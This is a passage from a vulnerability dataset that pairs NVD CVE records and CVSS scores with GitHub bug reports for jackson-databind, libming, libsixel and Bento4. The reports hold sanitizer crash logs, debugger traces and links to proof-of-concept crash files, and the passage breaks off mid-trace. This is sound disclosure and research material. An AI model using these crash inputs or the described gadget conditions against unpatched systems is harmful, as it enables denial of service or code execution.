"obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", 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"2F87326E-0B56-4356-A889-73D026DB1D4B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:redhat:single_sign-on:7.3:::::::", "matchCriteriaId": "E939A0E0-3437-459E-9FAB-FE42811B1D32", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/FasterXML/jackson-databind/issues/2058	[ "Patch", "Third Party Advisory" ]	github.com	[ "FasterXML", "jackson-databind" ]	There is a potential remote code execution (RCE) vulnerability, if user is 1. handling untrusted content (where attacker can craft JSON) 2. using "Default Typing" feature (or equivalent; polymorphic value with base type of `java.lang.Object` 3. has oracle JDBC driver jar in classpath 4. allows connections from service to untrusted hosts (where attacker can run an LDAP service) (note: steps 1 and 2 are common steps as explained in https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062) To solve the issue, 2 types from JDBC driver are blacklisted to avoid their use as "serialization gadgets". Original vulnerability discoverer: 吴桂雄 Wuguixiong --- Fixed in: * 2.9.6 and later * 2.8.11.2 * 2.7.9.4 * 2.6.7.3	Block one more gadget type (oracle-jdbc, CVE-2018-12023)	https://api.github.com/repos/FasterXML/jackson-databind/issues/2058/comments	1	2018-06-08T05:30:38Z	2020-12-02T04:02:26Z	https://github.com/FasterXML/jackson-databind/issues/2058	330,524,621	2,058

CVE-2019-3572

2019-01-02T15:29:00.330

An issue was discovered in libming 0.4.8. There is a heap-based buffer over-read in the function writePNG in the file util/dbl2png.c of the dbl2png command-line program. Because this is associated with an erroneous call to png_write_row in libpng, an out-of-bounds write might occur for some memory layouts.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/169" } ]

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https://github.com/libming/libming/issues/169

[ "Exploit", "Third Party Advisory" ]

github.com

[ "libming", "libming" ]

I found a a heap-buffer-overflow problem in function writePNG in file ./util/dbl2png.c:234. [poc.zip](https://github.com/libming/libming/files/2714649/poc.zip) ./debug/bin/dbl2png --verbose in2.dbl out.png image data RGB outsize=1605 size 65535 x 33023 unpacked data size t=1600 byte channel count=3 Segmentation fault (core dumped) ``` ==48243==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fdd403ff404 at pc 0x7fdd44327733 bp 0x7ffd2f1f8fa0 sp 0x7ffd2f1f8748 READ of size 262140 at 0x7fdd403ff404 thread T0 #0 0x7fdd44327732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) #1 0x7fdd43e7fa17 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 0x7fdd43e7fa17 in png_write_row /home/fish/misc/libming/libpng-1.6.36/pngwrite.c:842 #3 0x557528274da6 in writePNG /home/fish/misc/libming/util/dbl2png.c:234 #4 0x5575282712d6 in main /home/fish/misc/libming/util/dbl2png.c:286 #5 0x7fdd43a8eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #6 0x557528271859 in _start (/home/fish/misc/libming/afl/bin/dbl2png+0x2859) 0x7fdd403ff404 is located 0 bytes to the right of 66714628-byte region [0x7fdd3c45f800,0x7fdd403ff404) allocated by thread T0 here: #0 0x7fdd4438cb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x55752827295b in readDBL /home/fish/misc/libming/util/dbl2png.c:133 #2 0x200000007 (<unknown module>) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) Shadow bytes around the buggy address: 0x0ffc28077e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ffc28077e80:[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==48243==ABORTING #0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:427 #1 0x00007ffff79a6a18 in memcpy (__len=<optimized out>, __src=<optimized out>, __dest=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 png_write_row (png_ptr=0x555555758490, row=<optimized out>) at pngwrite.c:842 #3 0x00005555555557e3 in writePNG (fp=0x555555758260, png=...) at dbl2png.c:234 #4 0x0000555555555a1a in main (argc=0x3, argv=0x7fffffffde68) at dbl2png.c:286 #5 0x00007ffff75b5b97 in __libc_start_main (main=0x5555555558a9 <main>, argc=0x3, argv=0x7fffffffde68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffde58) at ../csu/libc-start.c:310 #6 0x0000555555554eca in _start () 229 if(png.color_type == PNG_COLOR_TYPE_RGB) 230 { 231 png_set_filler(png_ptr, 0, PNG_FILLER_BEFORE); 232 for (i=0;i<png.height-1;i++) 233 { // ptr=0x00007fffffffdce0 → [...] → 0x357a4fff2b6a42ff → 234 png_write_row(png_ptr,ptr); 235 ptr+=png.width * 4; 236 } 237 } 238 if(png.color_type == PNG_COLOR_TYPE_PALETTE) 239 { gef➤ p ptr + png.width * 4 * 261 $3 = (byte *) 0x7ffff7395bfc "" gef➤ p ptr + png.width * 4 * 262 $4 = (byte *) 0x7ffff73d5bf8 <error: Cannot access memory at address 0x7ffff73d5bf8> ```

a heap-buffer-overflow problem in function writePNG in file ./util/dbl2png.c:234

https://api.github.com/repos/libming/libming/issues/169/comments

1

2018-12-28T10:35:44Z

2019-01-07T16:23:12Z

https://github.com/libming/libming/issues/169

394,605,758

169

CVE-2019-3573

2019-01-02T15:29:00.360

In libsixel v1.8.2, there is an infinite loop in the function sixel_decode_raw_impl() in the file fromsixel.c, as demonstrated by sixel2png.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/TeamSeri0us/pocs/tree/master/libsixel" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/saitoha/libsixel/issues/83" } ]

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https://github.com/saitoha/libsixel/issues/83

[ "Exploit", "Third Party Advisory" ]

github.com

[ "saitoha", "libsixel" ]

./sixel2png [infinite_loop_poc1](https://github.com/TeamSeri0us/pocs/blob/master/libsixel/infinite_loop_poc1) ``` ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:../../src/fromsixel.c+561 ]──── 556 default: 557 if (*p >= '?' && *p <= '~') { /* sixel characters */ 558 if (image->width < (context->pos_x + context->repeat_count) || image->height < (context->pos_y + 6)) { 559 sx = image->width * 2; 560 sy = image->height * 2; // context=0x00007fffffffd6a0 → [...] → 0x0000000000000003, sx=0x0, sy=-0x80000000 → 561 while (sx < (context->pos_x + context->repeat_count) || sy < (context->pos_y + 6)) { 562 sx *= 2; 563 sy *= 2; 564 } 565 status = image_buffer_resize(image, sx, sy, context->bgindex, allocator); 566 if (SIXEL_FAILED(status)) { ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "sixel2png", stopped, reason: SINGLE STEP ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7ffff7b7ed89 → Name: sixel_decode_raw_impl(p=0x555555774630 "^\033\\", len=0x53, image=0x7fffffffd7e0, context=0x7fffffffd760, allocator=0x555555774300) [#1] 0x7ffff7b7f8b3 → Name: sixel_decode_raw(p=0x5555557745e0 "\033Pq\"1;1;70;11#1;2;", '1' <repeats 13 times>, "9;19;19#0!70~-!7", '1' <repeats 25 times>, "\"1111110^\033\\", len=0x53, pixels=0x7fffffffdc58, pwidth=0x7fffffffdc3c, pheight=0x7fffffffdc40, palette=0x7fffffffdc60, ncolors=0x7fffffffdc44, allocator=0x555555774300) [#2] 0x7ffff7bacc8c → Name: sixel_decoder_decode(decoder=0x555555774330) [#3] 0x555555554ea6 → Name: main(argc=0x2, argv=0x7fffffffde68) ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 561 while (sx < (context->pos_x + context->repeat_count) || sy < (context->pos_y + 6)) { 1: sx = 0x0 gef➤ p context->pos_x + context->repeat_count $32 = 0x471c71c7 ``` ./img2sixel [heap-buffer-overflow-poc2](https://github.com/TeamSeri0us/pocs/blob/master/libsixel/heap-buffer-overflow-poc2) ``` Corrupt JPEG data: premature end of data segment ================================================================= ==100553==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc919e46f94 at pc 0x7fca3cf50228 bp 0x7fffe7f5e600 sp 0x7fffe7f5e5f8 READ of size 1 at 0x7fc919e46f94 thread T0 ==100553==WARNING: failed to fork (errno 12) ==100553==WARNING: failed to fork (errno 12) ==100553==WARNING: failed to fork (errno 12) ==100553==WARNING: failed to fork (errno 12) ==100553==WARNING: failed to fork (errno 12) ==100553==WARNING: Failed to use and restart external symbolizer! #0 0x7fca3cf50227 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x70227) #1 0x7fca3cf4c758 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x6c758) #2 0x7fca3cf53ae5 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x73ae5) #3 0x7fca3cf36b25 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x56b25) #4 0x7fca3d028e26 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x148e26) #5 0x7fca3cf88581 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0xa8581) #6 0x7fca3d0264de (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x1464de) #7 0x50564a (/home/fish/Desktop/dumb/image/libsixel/fast/fast/bin/img2sixel+0x50564a) #8 0x7fca3bf2fb96 (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x41c139 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/bin/img2sixel+0x41c139) 0x7fc919e46f94 is located 0 bytes to the right of 433805204-byte region [0x7fc900091800,0x7fc919e46f94) allocated by thread T0 here: #0 0x4cb710 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/bin/img2sixel+0x4cb710) #1 0x7fca3d028ba1 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x148ba1) #2 0x7fca3cf88581 (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0xa8581) #3 0x7fca3d0264de (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x1464de) #4 0x50564a (/home/fish/Desktop/dumb/image/libsixel/fast/fast/bin/img2sixel+0x50564a) #5 0x7fca3bf2fb96 (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/fish/Desktop/dumb/image/libsixel/fast/fast/lib/libsixel.so.1+0x70227) Shadow bytes around the buggy address: 0x0ff9a33c0da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff9a33c0db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff9a33c0dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff9a33c0dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff9a33c0de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ff9a33c0df0: 00 00[04]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff9a33c0e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff9a33c0e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff9a33c0e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff9a33c0e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff9a33c0e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==100553==ABORTING gef➤ bt #0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:249 #1 0x00007ffff7ba4bae in load_jpeg (result=0x555555777428, data=0x7ffff7fd4010 "\377\330\377", <incomplete sequence \340>, datasize=0x1263b, pwidth=0x555555777438, pheight=0x55555577743c, ppixelformat=0x555555777444, allocator=0x555555777300) at ../../src/loader.c:198 #2 0x00007ffff7ba62d7 in load_with_builtin (pchunk=0x5555557773f0, fstatic=0x0, fuse_palette=0x1, reqcolors=0x100, bgcolor=0x0, loop_control=0x0, fn_load=0x7ffff7bac395 <load_image_callback>, context=0x555555777330) at ../../src/loader.c:820 #3 0x00007ffff7ba67d1 in sixel_helper_load_image_file (filename=0x7fffffffe247 "/home/fish/testcase/images/jpg/random.jpg", fstatic=0x0, fuse_palette=0x1, reqcolors=0x100, bgcolor=0x0, loop_control=0x0, fn_load=0x7ffff7bac395 <load_image_callback>, finsecure=0x0, cancel_flag=0x555555759014 <signaled>, context=0x555555777330, allocator=0x555555777300) at ../../src/loader.c:1352 #4 0x00007ffff7bac50e in sixel_encoder_encode (encoder=0x555555777330, filename=0x7fffffffe247 "/home/fish/testcase/images/jpg/random.jpg") at ../../src/encoder.c:1737 #5 0x0000555555555545 in main (argc=0x2, argv=0x7fffffffde78) at ../../converters/img2sixel.c:457 ```

two bugs in img2sixel and sixel2png

https://api.github.com/repos/saitoha/libsixel/issues/83/comments

7

2019-01-02T08:08:21Z

2019-12-14T21:01:47Z

https://github.com/saitoha/libsixel/issues/83

395,173,691

83

CVE-2018-20659

2019-01-02T17:29:00.220

An issue was discovered in Bento4 1.5.1-627. The AP4_StcoAtom class in Core/Ap4StcoAtom.cpp has an attempted excessive memory allocation when called from AP4_AtomFactory::CreateAtomFromStream in Core/Ap4AtomFactory.cpp, as demonstrated by mp42hls.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/350" } ]

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https://github.com/axiomatic-systems/Bento4/issues/350

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

A crafted input will lead to Memory allocation failed in Ap4StcoAtom.cpp at Bento4 1.5.1-627 Triggered by ./mp42hls crash7.mp4 Poc [crash7.mp4.zip](https://github.com/axiomatic-systems/Bento4/files/2718552/crash7.mp4.zip) Bento4 Version 1.5.1-627 The ASAN information is as follows: ``` ==10432==ERROR: AddressSanitizer failed to allocate 0x100002000 (4294975488) bytes of LargeMmapAllocator (error code: 12) ==10432==Process memory map follows: 0x00007fff7000-0x00008fff7000 0x00008fff7000-0x02008fff7000 0x02008fff7000-0x10007fff8000 0x561a5fbfc000-0x561a602a2000 /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls 0x561a604a1000-0x561a604ab000 /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls 0x561a604ab000-0x561a6067f000 /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls 0x600000000000-0x602000000000 0x602000000000-0x602000010000 0x602000010000-0x602e00000000 0x602e00000000-0x602e00010000 0x602e00010000-0x603000000000 0x603000000000-0x603000010000 0x603000010000-0x603e00000000 0x603e00000000-0x603e00010000 0x603e00010000-0x604000000000 0x604000000000-0x604000010000 0x604000010000-0x604e00000000 0x604e00000000-0x604e00010000 0x604e00010000-0x606000000000 0x606000000000-0x606000010000 0x606000010000-0x606e00000000 0x606e00000000-0x606e00010000 0x606e00010000-0x607000000000 0x607000000000-0x607000010000 0x607000010000-0x607e00000000 0x607e00000000-0x607e00010000 0x607e00010000-0x608000000000 0x608000000000-0x608000010000 0x608000010000-0x608e00000000 0x608e00000000-0x608e00010000 0x608e00010000-0x60b000000000 0x60b000000000-0x60b000010000 0x60b000010000-0x60be00000000 0x60be00000000-0x60be00010000 0x60be00010000-0x60c000000000 0x60c000000000-0x60c000010000 0x60c000010000-0x60ce00000000 0x60ce00000000-0x60ce00010000 0x60ce00010000-0x60d000000000 0x60d000000000-0x60d000010000 0x60d000010000-0x60de00000000 0x60de00000000-0x60de00010000 0x60de00010000-0x60e000000000 0x60e000000000-0x60e000010000 0x60e000010000-0x60ee00000000 0x60ee00000000-0x60ee00010000 0x60ee00010000-0x611000000000 0x611000000000-0x611000010000 0x611000010000-0x611e00000000 0x611e00000000-0x611e00010000 0x611e00010000-0x615000000000 0x615000000000-0x615000010000 0x615000010000-0x615e00000000 0x615e00000000-0x615e00010000 0x615e00010000-0x616000000000 0x616000000000-0x616000010000 0x616000010000-0x616e00000000 0x616e00000000-0x616e00010000 0x616e00010000-0x619000000000 0x619000000000-0x619000010000 0x619000010000-0x619e00000000 0x619e00000000-0x619e00010000 0x619e00010000-0x621000000000 0x621000000000-0x621000010000 0x621000010000-0x621e00000000 0x621e00000000-0x621e00010000 0x621e00010000-0x624000000000 0x624000000000-0x624000010000 0x624000010000-0x624e00000000 0x624e00000000-0x624e00010000 0x624e00010000-0x631000000000 0x631000000000-0x631000020000 0x631000020000-0x631e00000000 0x631e00000000-0x631e00010000 0x631e00010000-0x640000000000 0x640000000000-0x640000003000 0x7f8b99e00000-0x7f8b99f00000 0x7f8b9a000000-0x7f8b9a100000 0x7f8b9a200000-0x7f8b9a300000 0x7f8b9a400000-0x7f8b9a500000 0x7f8b9a600000-0x7f8b9a700000 0x7f8b9a770000-0x7f8b9cac2000 0x7f8b9cac2000-0x7f8b9cc5f000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9cc5f000-0x7f8b9ce5e000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9ce5e000-0x7f8b9ce5f000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9ce5f000-0x7f8b9ce60000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9ce60000-0x7f8b9ce7a000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9ce7a000-0x7f8b9d079000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9d079000-0x7f8b9d07a000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9d07a000-0x7f8b9d07b000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9d07b000-0x7f8b9d07f000 0x7f8b9d07f000-0x7f8b9d086000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d086000-0x7f8b9d285000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d285000-0x7f8b9d286000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d286000-0x7f8b9d287000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d287000-0x7f8b9d28a000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d28a000-0x7f8b9d489000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d489000-0x7f8b9d48a000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d48a000-0x7f8b9d48b000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d48b000-0x7f8b9d672000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d672000-0x7f8b9d872000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d872000-0x7f8b9d876000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d876000-0x7f8b9d878000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d878000-0x7f8b9d87c000 0x7f8b9d87c000-0x7f8b9d893000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9d893000-0x7f8b9da92000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9da92000-0x7f8b9da93000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9da93000-0x7f8b9da94000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9da94000-0x7f8b9dc0d000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9dc0d000-0x7f8b9de0d000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9de0d000-0x7f8b9de17000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9de17000-0x7f8b9de19000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9de19000-0x7f8b9de1d000 0x7f8b9de1d000-0x7f8b9df6d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9df6d000-0x7f8b9e16d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9e16d000-0x7f8b9e170000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9e170000-0x7f8b9e173000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9e173000-0x7f8b9edd8000 0x7f8b9edd8000-0x7f8b9edff000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f8b9ee9f000-0x7f8b9efea000 0x7f8b9efea000-0x7f8b9efff000 0x7f8b9efff000-0x7f8b9f000000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f8b9f000000-0x7f8b9f001000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f8b9f001000-0x7f8b9f002000 0x7ffce3bd8000-0x7ffce3bf9000 [stack] 0x7ffce3bfb000-0x7ffce3bfe000 [vvar] 0x7ffce3bfe000-0x7ffce3c00000 [vdso] 0xffffffffff600000-0xffffffffff601000 [vsyscall] ==10432==End of process memory map. ==10432==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0) #0 0x7f8b9df06c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02) #1 0x7f8b9df25595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595) #2 0x7f8b9df10492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492) #3 0x7f8b9df1c8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5) #4 0x7f8b9de46a51 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x29a51) #5 0x7f8b9defd5de in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe05de) #6 0x561a5ffcf4c4 in AP4_StcoAtom::AP4_StcoAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StcoAtom.cpp:81 #7 0x561a5ffcf104 in AP4_StcoAtom::Create(unsigned int, AP4_ByteStream&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StcoAtom.cpp:52 #8 0x561a5ff41d64 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:434 #9 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #10 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #11 0x561a5ffbe494 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4SampleEntry.cpp:115 #12 0x561a5ffc2710 in AP4_VisualSampleEntry::AP4_VisualSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4SampleEntry.cpp:742 #13 0x561a5ffc3f00 in 